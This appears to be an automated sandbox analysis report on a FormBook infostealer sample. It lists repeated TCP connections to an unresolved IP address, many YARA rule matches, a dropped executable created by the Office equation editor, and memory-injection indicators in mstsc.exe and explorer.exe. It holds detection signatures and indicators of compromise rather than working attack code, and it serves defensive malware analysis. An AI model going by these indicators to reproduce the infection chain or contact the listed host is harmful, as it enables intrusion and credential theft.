Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: unknown TCP traffic detected without corresponding DNS query: 198.12.89.166
Source: EQNEDT32.EXE, 00000002.00000002.969988460.0000000000669000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: /moc.nideknil.wwwwww.linkedin.com; equals www.linkedin.com (Linkedin)
Source: explorer.exe, 0000000A.00000000.1055600196.0000000003B10000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: EQNEDT32.EXE, 00000002.00000002.969988460.0000000000669000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)

E-Banking Fraud
barindex
Yara detected FormBook
Source: Yara match File source: 9.0.vbc.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.vbc.exe.3842f58.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.vbc.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.vbc.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.vbc.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.vbc.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000009.00000002.1069848663.0000000000140000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000000.1175795140.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.995456995.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1069986638.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.999123801.0000000003842000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000000.1028504490.000000000B6A9000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.1178186749.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000000.1039502497.000000000B6A9000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1069951838.0000000000380000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000000.1174695923.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.995827598.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.1178294756.0000000000230000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.1178354979.0000000000260000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 9.0.vbc.exe.400000.9.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 9.0.vbc.exe.400000.9.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 4.2.vbc.exe.3842f58.9.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 4.2.vbc.exe.3842f58.9.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 9.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 9.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 9.0.vbc.exe.400000.7.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 9.0.vbc.exe.400000.7.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 9.0.vbc.exe.400000.7.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 9.0.vbc.exe.400000.7.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 9.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 9.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 9.0.vbc.exe.400000.5.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 9.0.vbc.exe.400000.5.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 4.2.vbc.exe.27da9ec.5.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
Source: 9.0.vbc.exe.400000.9.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000002.1069848663.0000000000140000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000002.1069848663.0000000000140000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000D.00000000.1175795140.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000D.00000000.1175795140.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000000.995456995.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000000.995456995.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000002.1069986638.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000002.1069986638.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.999123801.0000000003842000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000002.999123801.0000000003842000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000A.00000000.1028504490.000000000B6A9000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000A.00000000.1028504490.000000000B6A9000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000B.00000002.1178186749.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000B.00000002.1178186749.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000A.00000000.1039502497.000000000B6A9000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000A.00000000.1039502497.000000000B6A9000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000002.1069951838.0000000000380000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000002.1069951838.0000000000380000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000D.00000000.1174695923.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000D.00000000.1174695923.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000000.995827598.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000000.995827598.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000B.00000002.1178294756.0000000000230000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000B.00000002.1178294756.0000000000230000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000B.00000002.1178354979.0000000000260000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000B.00000002.1178354979.0000000000260000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Detected potential crypto function
Source: C:\Users\Public\vbc.exe Code function: 4_2_0126BA77 4_2_0126BA77
Source: C:\Users\Public\vbc.exe Code function: 4_2_002EDC40 4_2_002EDC40
Source: C:\Users\Public\vbc.exe Code function: 4_2_002EDC32 4_2_002EDC32
Source: C:\Users\Public\vbc.exe Code function: 4_2_002E0708 4_2_002E0708
Source: C:\Users\Public\vbc.exe Code function: 4_2_0068E208 4_2_0068E208
Source: C:\Users\Public\vbc.exe Code function: 4_2_006843D0 4_2_006843D0
Source: C:\Users\Public\vbc.exe Code function: 4_2_006855B8 4_2_006855B8
Source: C:\Users\Public\vbc.exe Code function: 4_2_00683F29 4_2_00683F29
Source: C:\Users\Public\vbc.exe Code function: 4_2_00683FA8 4_2_00683FA8
Source: C:\Users\Public\vbc.exe Code function: 4_2_00D50308 4_2_00D50308
Source: C:\Users\Public\vbc.exe Code function: 4_2_002E0224 4_2_002E0224
Source: C:\Users\Public\vbc.exe Code function: 9_2_00401030 9_2_00401030
Source: C:\Users\Public\vbc.exe Code function: 9_2_0040927B 9_2_0040927B
Source: C:\Users\Public\vbc.exe Code function: 9_2_00409280 9_2_00409280
Source: C:\Users\Public\vbc.exe Code function: 9_2_0040DC20 9_2_0040DC20
Source: C:\Users\Public\vbc.exe Code function: 9_2_00402D8F 9_2_00402D8F
Source: C:\Users\Public\vbc.exe Code function: 9_2_00402D90 9_2_00402D90
Source: C:\Users\Public\vbc.exe Code function: 9_2_0041D78F 9_2_0041D78F
Source: C:\Users\Public\vbc.exe Code function: 9_2_00402FB0 9_2_00402FB0
Source: C:\Users\Public\vbc.exe Code function: 9_2_0041E7BB 9_2_0041E7BB
Source: C:\Users\Public\vbc.exe Code function: 9_2_0126BA77 9_2_0126BA77
Source: C:\Users\Public\vbc.exe Code function: 9_2_0088E0C6 9_2_0088E0C6
Source: C:\Users\Public\vbc.exe Code function: 9_2_008BD005 9_2_008BD005
Source: C:\Users\Public\vbc.exe Code function: 9_2_00893040 9_2_00893040
Source: C:\Users\Public\vbc.exe Code function: 9_2_008A905A 9_2_008A905A
Source: C:\Users\Public\vbc.exe Code function: 9_2_0088E2E9 9_2_0088E2E9
Source: C:\Users\Public\vbc.exe Code function: 9_2_00931238 9_2_00931238
Source: C:\Users\Public\vbc.exe Code function: 9_2_009363BF 9_2_009363BF
Source: C:\Users\Public\vbc.exe Code function: 9_2_0088F3CF 9_2_0088F3CF
Source: C:\Users\Public\vbc.exe Code function: 9_2_008B63DB 9_2_008B63DB
Source: C:\Users\Public\vbc.exe Code function: 9_2_00892305 9_2_00892305
Source: C:\Users\Public\vbc.exe Code function: 9_2_00897353 9_2_00897353
Source: C:\Users\Public\vbc.exe Code function: 9_2_008DA37B 9_2_008DA37B
Source: C:\Users\Public\vbc.exe Code function: 9_2_008A1489 9_2_008A1489
Source: C:\Users\Public\vbc.exe Code function: 9_2_008C5485 9_2_008C5485
Source: C:\Users\Public\vbc.exe Code function: 9_2_008CD47D 9_2_008CD47D
Source: C:\Users\Public\vbc.exe Code function: 9_2_008AC5F0 9_2_008AC5F0
Source: C:\Users\Public\vbc.exe Code function: 9_2_0089351F 9_2_0089351F
Source: C:\Users\Public\vbc.exe Code function: 9_2_008D6540 9_2_008D6540
Source: C:\Users\Public\vbc.exe Code function: 9_2_00894680 9_2_00894680
Source: C:\Users\Public\vbc.exe Code function: 9_2_0089E6C1 9_2_0089E6C1
Source: C:\Users\Public\vbc.exe Code function: 9_2_00932622 9_2_00932622
Source: C:\Users\Public\vbc.exe Code function: 9_2_008DA634 9_2_008DA634
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_02671238 11_2_02671238
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025CE2E9 11_2_025CE2E9
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025D7353 11_2_025D7353
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_0261A37B 11_2_0261A37B
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025D2305 11_2_025D2305
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025F63DB 11_2_025F63DB
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025CF3CF 11_2_025CF3CF
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025E905A 11_2_025E905A
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025D3040 11_2_025D3040
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025FD005 11_2_025FD005
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025CE0C6 11_2_025CE0C6
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_02672622 11_2_02672622
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025DE6C1 11_2_025DE6C1
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025D4680 11_2_025D4680
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_026057C3 11_2_026057C3
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025DC7BC 11_2_025DC7BC
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_0265579A 11_2_0265579A
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025E1489 11_2_025E1489
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_02605485 11_2_02605485
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025D351F 11_2_025D351F
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025EC5F0 11_2_025EC5F0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_02683A83 11_2_02683A83
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025F7B00 11_2_025F7B00
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_0265DBDA 11_2_0265DBDA
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_0267CBA4 11_2_0267CBA4
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025DC85C 11_2_025DC85C
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025F286D 11_2_025F286D
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_0266F8EE 11_2_0266F8EE
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_02655955 11_2_02655955
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025E69FE 11_2_025E69FE
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_0267098E 11_2_0267098E
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025D29B2 11_2_025D29B2
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025EEE4C 11_2_025EEE4C
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_02602E2F 11_2_02602E2F
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025FDF7C 11_2_025FDF7C
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025E0F3F 11_2_025E0F3F
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025DCD5B 11_2_025DCD5B
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_02600D3B 11_2_02600D3B
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_0266FDDD 11_2_0266FDDD
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_000CDC20 11_2_000CDC20
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_000C927B 11_2_000C927B
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_000C9280 11_2_000C9280
Abnormal high CPU Usage
Source: C:\Windows\explorer.exe Process Stats: CPU usage > 98%
Tries to load missing DLLs
Source: C:\Windows\SysWOW64\mstsc.exe Section loaded: mozglue.dll Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Section loaded: winsqlite3.dll Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Section loaded: winsqlite3.dll Jump to behavior
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 77620000 page execute and read and write Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 77740000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 77620000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 77740000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 77620000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 77740000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Memory allocated: 77620000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Memory allocated: 77740000 page execute and read and write Jump to behavior
Yara signature match
Source: 9.0.vbc.exe.400000.9.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 9.0.vbc.exe.400000.9.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 4.2.vbc.exe.3842f58.9.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 4.2.vbc.exe.3842f58.9.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 9.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 9.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 9.0.vbc.exe.400000.7.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 9.0.vbc.exe.400000.7.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 9.0.vbc.exe.400000.7.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 9.0.vbc.exe.400000.7.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 9.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 9.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 9.0.vbc.exe.400000.5.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 9.0.vbc.exe.400000.5.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 4.2.vbc.exe.27da9ec.5.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
Source: 9.0.vbc.exe.400000.9.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000002.1069848663.0000000000140000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000002.1069848663.0000000000140000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000D.00000000.1175795140.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000D.00000000.1175795140.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
